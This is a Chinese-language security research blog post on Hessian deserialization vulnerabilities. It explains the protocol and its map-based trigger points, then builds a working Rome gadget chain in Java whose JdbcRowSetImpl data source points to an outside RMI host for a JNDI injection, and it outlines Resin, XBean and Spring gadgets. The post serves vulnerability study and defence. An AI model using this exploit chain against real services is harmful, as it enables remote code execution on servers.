Hessian反序列化漏洞研究 - 郑瀚Andrew
2023-11-13 10:52:0 Author: www.cnblogs.com(查看原文) 阅读量:22 收藏

0x1:Hessian是什么

Hessian 是 caucho 公司的工程项目,为了达到或超过 ORMI/Java JNI 等其他跨语言/平台调用的能力设计而出,在 2004 点发布 1.0 规范,一般称之为 Hessian ,并逐步迭代,在 Hassian jar 3.2.0 之后,采用了新的 2.0 版本的协议,一般称之为 Hessian 2.0。

这是一种动态类型的二进制序列化和 Web 服务协议,专为面向对象的传输而设计。Hessian 协议在设计时,重点的几个目标包括了:

  • 它必须自我描述序列化的类型,即不需要外部架构和接口定义
  • 它必须是语言语言独立的,要支持包括脚本语言
  • 它必须是可读可写
  • 它要尽可能的简洁
  • 它必须是简单的,它可以有效地测试和实施
  • 尽可能的快
  • 必须要支持Unicode编码
  • 它必须支持八位二进制文件,而不是逃避或者用附件
  • 它必须支持加密,压缩,签名,还有事务的上下文

对于这样的设计,caucho 公司其实提供了两种解决方案,一个是 Hession,一个是 Burlap。

  • Hession 是基于二进制的实现,传输数据更小更快
  • Burlap 的消息是 XML 的,有更好的可读性。两种数据都是基于 HTTP 协议传输

Hessian 本身作为 Resin 的一部分,但是它的 com.caucho.hessian.client 和 com.caucho.hessian.server 包不依赖于任何其他的 Resin 类,因此它也可以使用任何容器如 Tomcat 中,也可以使用在 EJB 中。事实上很多通讯框架都使用或支持了这个规范来序列化及反序列化类。

作为一个二进制的序列化协议,Hessian 自行定义了一套自己的储存和还原数据的机制。对 8 种基础数据类型、3 种递归类型、ref 引用以及 Hessian 2.0 中的内部引用映射进行了相关定义。这样的设计使得 Hassian 可以进行跨语言跨平台的调用。

0x2:Hessian语法

           # starting production
top        ::= value

           # 8-bit binary data split into 64k chunks
binary     ::= x41 b1 b0 <binary-data> binary # non-final chunk
           ::= 'B' b1 b0 <binary-data>        # final chunk
           ::= [x20-x2f] <binary-data>        # binary data of
                                                 #  length 0-15
           ::= [x34-x37] <binary-data>        # binary data of
                                                 #  length 0-1023

           # boolean true/false
boolean    ::= 'T'
           ::= 'F'

           # definition for an object (compact map)
class-def  ::= 'C' string int string*

           # time in UTC encoded as 64-bit long milliseconds since
           #  epoch
date       ::= x4a b7 b6 b5 b4 b3 b2 b1 b0
           ::= x4b b3 b2 b1 b0       # minutes since epoch

           # 64-bit IEEE double
double     ::= 'D' b7 b6 b5 b4 b3 b2 b1 b0
           ::= x5b                   # 0.0
           ::= x5c                   # 1.0
           ::= x5d b0                # byte cast to double
                                     #  (-128.0 to 127.0)
           ::= x5e b1 b0             # short cast to double
           ::= x5f b3 b2 b1 b0       # 32-bit float cast to double

           # 32-bit signed integer
int        ::= 'I' b3 b2 b1 b0
           ::= [x80-xbf]             # -x10 to x3f
           ::= [xc0-xcf] b0          # -x800 to x7ff
           ::= [xd0-xd7] b1 b0       # -x40000 to x3ffff

           # list/vector
list       ::= x55 type value* 'Z'   # variable-length list
       ::= 'V' type int value*   # fixed-length list
           ::= x57 value* 'Z'        # variable-length untyped list
           ::= x58 int value*        # fixed-length untyped list
       ::= [x70-77] type value*  # fixed-length typed list
       ::= [x78-7f] value*       # fixed-length untyped list

           # 64-bit signed long integer
long       ::= 'L' b7 b6 b5 b4 b3 b2 b1 b0
           ::= [xd8-xef]             # -x08 to x0f
           ::= [xf0-xff] b0          # -x800 to x7ff
           ::= [x38-x3f] b1 b0       # -x40000 to x3ffff
           ::= x59 b3 b2 b1 b0       # 32-bit integer cast to long

           # map/object
map        ::= 'M' type (value value)* 'Z'  # key, value map pairs
       ::= 'H' (value value)* 'Z'       # untyped key, value

           # null value
null       ::= 'N'

           # Object instance
object     ::= 'O' int value*
       ::= [x60-x6f] value*

           # value reference (e.g. circular trees and graphs)
ref        ::= x51 int            # reference to nth map/list/object

           # UTF-8 encoded character string split into 64k chunks
string     ::= x52 b1 b0 <utf8-data> string  # non-final chunk
           ::= 'S' b1 b0 <utf8-data>         # string of length
                                             #  0-65535
           ::= [x00-x1f] <utf8-data>         # string of length
                                             #  0-31
           ::= [x30-x34] <utf8-data>         # string of length
                                             #  0-1023

           # map/list types for OO languages
type       ::= string                        # type name
           ::= int                           # type reference

           # main production
value      ::= null
           ::= binary
           ::= boolean
           ::= class-def value
           ::= date
           ::= double
           ::= int
           ::= list
           ::= long
           ::= map
           ::= object
           ::= ref
           ::= string 

0x3:Hessian基本使用

创建Hessian服务包括四个步骤:

  1. 创建Java接口,用于提供公开服务
  2. 创建服务实现类
  3. 在servlet引擎中配置服务
  4. 使用HessianProxyFactory创建客户端

因为 Hessian 基于 HTTP 协议,所以通常通过 Web 应用来提供服务,以下为几种常见的模式。

1、基于 Servlet 项目

通过把提供服务的类注册成 Servlet 的方式来作为 Server 端进行交互。

创建一个普通的java项目,右键点击项目,再点击add framework support,勾选web Application(默认勾选上 create web.xml),点击ok。 

poc.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Hessian_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.0.1</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet.jsp</groupId>
            <artifactId>jsp-api</artifactId>
            <version>2.1</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>3.1.5</version>
        </dependency>
    </dependencies>

</project> 

1)创建Java接口,用于提供公开服务

Greeting.java

package org.example;

import java.util.HashMap;

public interface Greeting {
    String sayHello(HashMap o);
}

2)创建服务实现类

服务端需要有一个该方法的具体实现,这里通过使该类继承自 com.caucho.hessian.server.HessianServlet 来将其标记为一个提供服务的 Servlet :

Hello.java

package org.example;

import com.caucho.hessian.server.HessianServlet;

import java.util.HashMap;

public class Hello extends HessianServlet implements Greeting {

    @Override
    public String sayHello(HashMap o) {
        return "Hello " + o.toString();
    }
}

3)在servlet引擎中配置服务

在 web.xml 中配置 Servlet 的映射。

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>hessian</servlet-name>
        <servlet-class>org.example.Hello</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>hessian</servlet-name>
        <url-pattern>/hessian</url-pattern>
    </servlet-mapping>
</web-app>

4)使用HessianProxyFactory创建客户端

Client 端通过 com.caucho.hessian.client.HessianProxyFactory 工厂类创建对接口的代理对象,并进行调用,可以看到调用后执行了服务端的逻辑并返回了代码。

package org.example;

import com.caucho.hessian.client.HessianProxyFactory;

import java.net.MalformedURLException;
import java.util.HashMap;

public class Clients {
    public static void main(String[] args) throws MalformedURLException {
        String url = "http://localhost:8080/Hello/sayHello";

        HessianProxyFactory factory = new HessianProxyFactory();
        Greeting greeting = (Greeting) factory.create(Greeting.class, url);

        HashMap o = new HashMap<>();
        o.put("a", "a");

        System.out.println("Hessian Call: " + greeting.sayHello(o));
    }
}

2、自封装调用

除了配合 web 项目使用外,也可以自行封装自行调用,通过对 HessianInput/HessianOutput、Hessian2Input/Hessian2Output、BurlapInput/BurlapOutput 的相关方法的封装,可以自行实现传输、存储等逻辑,使用 Hessian 进行序列化和反序列化数据。

在使用Hessian序列化之前,需要在maven工程中,引入Hessian依赖:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Hessian_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>javax.servlet</groupId>
            <artifactId>javax.servlet-api</artifactId>
            <version>3.0.1</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>javax.servlet.jsp</groupId>
            <artifactId>jsp-api</artifactId>
            <version>2.1</version>
            <scope>provided</scope>
        </dependency>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>3.1.5</version>
        </dependency>
    </dependencies>

</project>

无论jdk序列化,还是hessian序列化,实体类均需要实现Serializable接口,实现一个Student bean类,

package org.example;

import java.io.Serializable;

public class Student implements Serializable {
    /**
     *
     */
    private static final long serialVersionUID = 1L;
    private int id;
    private String name;
    private transient String gender;
    public int getId() {
        return id;
    }
    public void setId(int id) {
        this.id = id;
    }
    public String getName() {
        return name;
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getGender() {
        return gender;
    }
    public void setGender(String gender) {
        this.gender = gender;
    }

    public Student() {}
    public Student(int id,String name,String gender){
        this.id = id;
        this.name = name;
        this.gender = gender;
    }

    @Override
    public String toString() {
        return "User(id="+id+",name="+name+",gender="+gender+")";
    }
}

测试类HessianSerialTest.java

package org.example;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

public class HessianSerialTest {
    public static <T> byte[] serialize(T t){
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(os);
            output.writeObject(t);
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static <T> byte[] serialize2(T t){
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            Hessian2Output output = new Hessian2Output(os);
            output.writeObject(t);
            output.getBytesOutputStream().flush();
            output.completeMessage();
            output.close();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static <T> byte[] jdkSerialize(T t){
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            ObjectOutputStream output = new ObjectOutputStream(os);
            output.writeObject(t);
            output.flush();
            output.close();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    @SuppressWarnings("unchecked")
    public static <T> T deserialize(byte[] data){
        if(data==null){
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            HessianInput input = new HessianInput(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T)result;
    }

    @SuppressWarnings("unchecked")
    public static <T> T deserialize2(byte[] data){
        if(data==null){
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            Hessian2Input input = new Hessian2Input(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T)result;
    }

    public static void main(String[] args) {
        Student stu = new Student(1,"hessian","boy");
        byte[] obj = serialize(stu);
        System.out.println("hessian serialize result length = "+obj.length);

        byte[] obj2 = serialize2(stu);
        System.out.println("hessian2 serialize result length = "+obj2.length);

        byte[] other = jdkSerialize(stu);
        System.out.println("jdk serialize result length = "+other.length);

        Student student = deserialize2(obj2);
        System.out.println("deserialize result entity is "+student);
    }

}

参考链接:

https://cloud.tencent.com/developer/article/2196910
https://blog.csdn.net/chinabestchina/article/details/78278162
https://www.cnblogs.com/LittleHann/p/17777980.html
https://www.yesdata.net/2018/03/11/hessian/
https://developer.aliyun.com/article/31862
https://www.cnblogs.com/linshuqin/p/10155005.html
https://blog.csdn.net/feinifi/article/details/95597290 

0x1:Hessian序列化

对于输出流关键类为 AbstractHessianOutput 的相关子类,这些类都提供了 call 等相关方法执行方法调用,writeXX 方法进行序列化数据的写入,这里以 HessianOutput 为例。

除了基础数据类型,主要关注的是对 Object 类型数据的写入方法 writeObject:

这个方法根据指定的类型获取序列化器 Serializer 的实现类,并调用其 writeObject 方法序列化数据。

在当前版本中,可看到一共有 29 个子类针对各种类型的数据。对于自定义类型,将会使用 JavaSerializer/UnsafeSerializer/JavaUnsharedSerializer 进行相关的序列化动作,默认情况下是 JavaSerializer。

0x2:Hessian反序列化

对于输入流关键类为 AbstractHessianInput 的子类,这些类中的 readObject 方法定义了反序列化的关键逻辑。

这是长达 200 行以上的 switch case 语句。在读取标识位后根据不同的数据类型调用相关的处理逻辑。这里以 Hessian2Input 为例。 

与序列化过程设计类似,Hessian 定义了 Deserializer 接口,并为不同的类型创建了不同的实现类。这里重点看下对自定义类型对象的读取。

在 Hessian 1.0 的 HessianInput 中,没有针对 Object 的读取,而是都将其作为 Map 读取,在序列化的过程中我们也提到,在写入自定义类型时会将其标记为 Map 类型。

在 Hessian 2.0 中,则是提供了 UnsafeDeserializer 来对自定义类型数据进行反序列化,关键方法在 readObject 处。

在 Java 原生反序列化中,实现了 java.io.Serializable 接口的类才可以反序列化。Hessian 象征性的支持了这种规范,具体的逻辑如下图,在获取默认序列化器时,判断了类是否实现了 Serializable 接口。

但同时 Hessian 还提供了一个 _isAllowNonSerializable 变量用来打破这种规范,可以使用 SerializerFactory#setAllowNonSerializable 方法将其设置为 true,从而使未实现 Serializable 接口的类也可以序列化和反序列化。 

这就导致了危险类序列化构造的风险,Hessian判断一个类是否可以被序列化,是在序列化的过程中进行的,而非反序列化过程。换句话说,Hessian 实际支持反序列化任意类,无需实现 Serializable 接口

这里在提一下 serialVersionUID 的问题,在 Java 原生反序列化中,在未指定 serialVersionUID 的情况下如果修改过类中的方法和属性,将会导致反序列化过程中生成的 serialVersionUID 不一致导致的异常,但是 Hessian 并不关注这个字段,所以即使修改也无所谓。

然后是 transient 和 static 的问题,在序列化时,由 UnsafeSerializer#introspect 方法来获取对象中的字段,在老版本中应该是 getFieldMap 方法。依旧是判断了成员变量标识符,如果是 transient 和 static 字段则不会参与序列化反序列化流程。

可以看到, Hessian 协议使用 unsafe 创建类实例,使用反射写入值,但是Hessian没有在重写了某些方法后对其进行调用这样的逻辑。所以无论是构造方法、getter/setter 方法、readObject 等等方法都不会在 Hessian 反序列化中被触发,那怎么会产生漏洞呢?

答案就在 Hessian 对 Map 类型数据的处理上,在之前的分析中提到,MapDeserializer#readMap 对 Map 类型数据进行反序列化操作是会创建相应的 Map 对象,并将 Key 和 Value 分别反序列化后使用 put 方法写入数据。在没有指定 Map 的具体实现类时,将会默认使用 HashMap ,对于 SortedMap,将会使用 TreeMap。

而众所周知, HashMap 在 put 键值对时,将会对 key 的 hashcode 进行校验查看是否有重复的 key 出现,这就将会调用 key 的 hasCode 方法,如下图。

而 TreeMap 在 put 时,由于要进行排序,所以要对 key 进行比较操作,将会调用 compare 方法,会调用 key 的 compareTo 方法。

也就是说 Hessian 相对比原生反序列化的利用链,有几个限制:

  • gadget chain 起始方法只能为 hashCode/equals/compareTo 方法
  • 利用链中调用的成员变量不能为 transient 修饰
  • 所有的调用不依赖类中 readObject 的逻辑,也不依赖 getter/setter 的逻辑

这几个限制也导致了很多 Java 原生反序列化利用链在 Hessian 中无法使用,甚至 ysoserial 中一些明明是 hashCode/equals/compareTo 触发的链子都不能直接拿来用。

目前常见的 Hessian 利用链在 marshalsec 中共有如下五个:

  • Rome
  • XBean
  • Resin
  • SpringPartiallyComparableAdvisorHolder
  • SpringAbstractBeanFactoryPointcutAdvisor

也就是抽象类 marshalsec.HessianBase 分别实现的 5 个接口。

触发漏洞的触发点对应在 HessianBase 的三个实现类:Hessian\Hessian2\Burlap。接下来我们依次看一下这些调用链。

0x1:Gadgets - Rome

新建一个maven项目,用于调试poc代码。

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>Hessian_test</artifactId>
    <version>1.0-SNAPSHOT</version>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>

    <dependencies>
        <dependency>
            <groupId>com.caucho</groupId>
            <artifactId>hessian</artifactId>
            <version>4.0.63</version>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.7.0</version>
        </dependency>
        <dependency>
            <groupId>org.slf4j</groupId>
            <artifactId>slf4j-nop</artifactId>
            <version>1.7.24</version>
        </dependency>
    </dependencies>

</project>

整个攻击过程由2个部分组成:

  • rome序列化/反序列化入口
  • Gadgets链

1、Gadgets链构造过程分析

Java中有很多JDk是具备很多“高危操作”的,但是这些“高危操作”就像武器,如果没有使用它的人,武器本身是不存在危险的。而反序列化gadgets就是借助Java中的多态、动态反射调用等特性,寻找一些特殊的类在反序列化过程中恰好能够构成这些“高危操作”的调用链。

Rome 的链核心是 ToStringBean,这个类的 toString 方法会调用他封装类的全部无参 getter 方法,所以可以借助 JdbcRowSetImpl#getDatabaseMetaData() 方法触发 JNDI 注入。

完整gadgets链如下:

HashMap.put -> hash
->
EqualsBean.hashCode -> beanHashCode
-> 
ToStringBean.toString -> getter.invoke
-> 
JdbcRowSetImpl.getDatabaseMetaData -> connect
->
JNDI 注入

我们接下来从JNDI注入,逆过来,逐步分析Rome gagets的构造过程以及利用原理。

1)JNDI注入

JNDI注入的原理非常简单,本质就是代码中调用了javax.naming.InitialContext.lookup("恶意类地址"),导致恶意类注入攻击。关于更多详情可以参阅这篇文章。 

2)通过JdbcRowSetImpl.getDatabaseMetaData -> connect 构造 javax.naming.InitialContext.lookup("恶意类地址") JNDI注入

先写一个测试demo,

package org.example;

import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;

public class JdbcRowSetImpl_demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://5ecb4a9006.ipv6.1433.eu.org/evil");
        jdbcRowSet.getDatabaseMetaData();

    }
}

3)通过ToStringBean.toString -> getter.invoke 触发 JdbcRowSetImpl.getDatabaseMetaData -> connect 调用

从源码中可以看到toString()有参方法有个invoke可以实现任意函数调用,

所以,我们的目标就是想办法直接通过 可控.invoke(可控,NO_PARAMS) 来达成RCE。

更具体地说就是,我们需要想办法让getter的name是getDatabaseMetaData,且this.obj是JdbcRowSetImpl。

继续修改上一步的poc代码,完善gadgets链,

package org.example;

import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;

public class JdbcRowSetImpl_demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://4c8ed43b84.ipv6.1433.eu.org/evil");
        // jdbcRowSet.getDatabaseMetaData();
        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
        toStringbean.toString();

    }
}

4)通过 EqualsBean.hashCode -> beanHashCode 触发 ToStringBean.toString 调用

package org.example;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;

public class JdbcRowSetImpl_demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://4c8ed43b84.ipv6.1433.eu.org/evil");
        // jdbcRowSet.getDatabaseMetaData();
        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
        // toStringbean.toString();
        EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
        equalsBean.hashCode();

    }
}

5)通过 HashMap.put -> hash 触发  EqualsBean.hashCode 调用

package org.example;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.Field;
import java.util.HashMap;

public class JdbcRowSetImpl_demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://4c8ed43b84.ipv6.1433.eu.org/evil");
        // jdbcRowSet.getDatabaseMetaData();
        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
        // toStringbean.toString();
        EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
        // equalsBean.hashCode();
        HashMap<Object,Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringbean, "obj", jdbcRowSet);

    }
}

至此,gadget已经构造完毕,接下来继续构造序列化的触发入口,序列化入口是rome库的一个特性,它接受攻击者构造的序列化对象,并在反序列化的过程中实际执行gadget,导致最终的rce

2、rome序列化/反序列化入口

package org.example;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;

public class JdbcRowSetImpl_demo {
    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static void main(String[] args) throws  Exception{

        JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
        jdbcRowSet.setDataSourceName("rmi://4c8ed43b84.ipv6.1433.eu.org/evil");
        // jdbcRowSet.getDatabaseMetaData();
        ToStringBean toStringbean = new ToStringBean(jdbcRowSet.getClass(), jdbcRowSet);
        // toStringbean.toString();
        EqualsBean equalsBean = new EqualsBean(toStringbean.getClass(), toStringbean);
        // equalsBean.hashCode();
        HashMap<Object,Object> map = new HashMap<>();
        map.put(equalsBean, "bbb");
        setValue(toStringbean, "obj", jdbcRowSet);

        //序列化开始
        ByteArrayOutputStream os = new ByteArrayOutputStream();
        Hessian2Output output = new Hessian2Output(os);
        output.writeObject(map);   //对象写在这
        output.close();
        //序列化结束

        //反序列化开始
        ByteArrayInputStream bis = new ByteArrayInputStream(os.toByteArray());
        Hessian2Input input = new Hessian2Input(bis);
        input.readObject();
        //反序列化结束

    }
}

0x2:二次反序列化 

上面 Gadget 因为是 JNDI 需要出网,所以通常被认为限制很高,因此还需要找无需出网的利用方式。其中一个常见的方式是使用 java.security.SignedObject 进行二次反序列化。

这个类有个 getObject 方法会从流里使用原生反序列化读取数据,就造成了二次反序列化。

0x3:Resin gadgets

Resin 这条利用链的入口点实际上是 HashMap 对比两个对象时触发的 com.sun.org.apache.xpath.internal.objects.XString 的 equals 方法。

使用 XString 的 equals 方法触发 com.caucho.naming.QName 的 toSting 方法。

0x4:XBean gadgets

XBean 这条链几乎是与 Resin 一模一样,只不过是在 XBean 中找到了类似功能的实现。

首先还是用 XString 触发 ContextUtil.ReadOnlyBinding 的 toString 方法(实际继承 javax.naming.Binding),toString 方法调用 getObject 方法获取对象。

0x5:Spring AOP gadgets

这条利用链也很简单,还是利用 HashMap 对比触发 equals 方法,核心是 AbstractPointcutAdvisor 和其子类 AbstractBeanFactoryPointcutAdvisor。

触发点在 AbstractPointcutAdvisor 的 equals 方法,对比两个 AbstractPointcutAdvisor 是否相同,就是在对比其 Pointcut 切点和 Advice 是否为同一个。

0x6:其他

在 ysoserial 中,除了 Rome,还有 URLDNS、Hibernate、Myfaces、Clojure、AspectJWeaver 等链的触发点使用了 hashCode 方法,很多触发都可以通过动态代理等方式串联起来。

参考链接:

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/ROME.java 
https://www.viewofthai.link/2022/04/20/gadgets-rome-%E6%89%8B%E5%86%99exp/
https://www.yulate.com/292.html
https://www.javasec.org/java-vuls/Hessian.html

0x1:反序列化对象类黑名单过滤

参考链接:

https://github.com/sofastack/sofa-hessian/blob/master/src/main/resources/security/serialize.blacklist

文章来源: https://www.cnblogs.com/LittleHann/p/17818994.html
如有侵权请联系:admin#unsafe.sh